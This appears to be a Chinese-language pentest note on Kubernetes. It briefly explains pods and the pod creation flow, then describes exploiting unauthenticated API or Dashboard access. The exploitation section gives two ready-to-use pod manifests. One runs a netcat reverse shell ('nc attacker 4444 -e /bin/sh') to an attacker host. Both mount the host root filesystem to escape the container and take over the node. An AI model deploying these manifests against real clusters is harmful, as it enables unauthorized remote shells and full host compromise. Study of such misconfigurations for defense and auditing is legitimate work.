一、介绍

1、简介

Kubernetes是一款开源的容器集群管理系统，可以实现容器集群的自动化部署、自动化扩缩容、自动化运维云平台中的容器，从而节省资源、优化硬件设备的使用。

2、Pod

Kubernetes中的容器都运行在pod中，一个pod可以运行一个或多个容器。同一个pod中的多个容器会被部署在同一个物理机器上，并且能够实现资源共享。

3、pod创建流程

1、用户通过cli或者ui的方式向master节点请求创建pod
2、Api Server接收请求，并将请求信息存储在etcd（分布式存储系统，用于记录k8s元信息）
3、此时Schedule（调度器）接收到创建消息，会选择合适的node节点，并返回给Api Server
4、此时Api Server接收到信息，并将node节点信息存储在etcd
5、对应的node节点在接收到请求后，将使用Kubelet（在集群的节点中运行的代理）去启动容器并调用所需的插件

二、漏洞

未授权访问

```
# 利用方法
    1、通过指定端口，进入存在未授权访问的Kubernetes API接口，如果Kubernetes开启了Dashbroad功能的话，即可通过/ui进入图形化管理界面
    2、该页面可以创建、修改、删除容器，此时点击右上角的 + 号，即可创建pod，此时有两种利用方法
    3、第一种是创建pod的时候编写Command命令，写入反弹shell代码，当pod创建成功后，即可实现反弹shell，获取docker权限（此方法可解决部分ui界面的容器组命令行不可用问题）

apiVersion: v1
kind: Pod
metadata:
  name: test
spec:
  containers:
  - name: busybox
    image: busybox:1.29.2
    command: ["/bin/sh"]
    args: ["-c", "nc attacker 4444 -e /bin/sh"]
    volumeMounts:
    - name: host
      mountPath: /host
  volumes:
  - name: host
```

```
    hostPath:
      path: /
      type: Directory
```

4、第二种是创建pod的时候将主机根目录挂载到pod中，当pod创建成功后，进入容器组，选择命令执行，即可直接获取到主机权限

```
apiVersion: v1
kind: Pod
metadata:
  name: myapp
spec:
  containers:
  - image: nginx:1.7.9
    name: container
    volumeMounts:
    - mountPath: /mnt
      name: test-volume
  volumes:
  - name: test-volume
    hostPath:
      path: /
```

```
# 参考链接
    原理 + 复现：
https://www.kingkk.com/2020/03/Kubernetes%E5%9F%BA%E6%9C%AC%E6%A6%82%E5%BF%B5%E5%92%8C%E4%B8%80%E4%BA%9B%E6%9C%AA%E6%8E%88%E6%9D%83%E8%AE%BF%E9%97%AE/
    原理 + 复现：https://www.freebuf.com/vuls/196993.html
```

```
# 漏洞原理
    目标Kubernetes的Master节点对外开放了端口，该节点是控制Kubernetes容器集群的节点，可实现创建、修改、删除容器以及查看日志等功能
```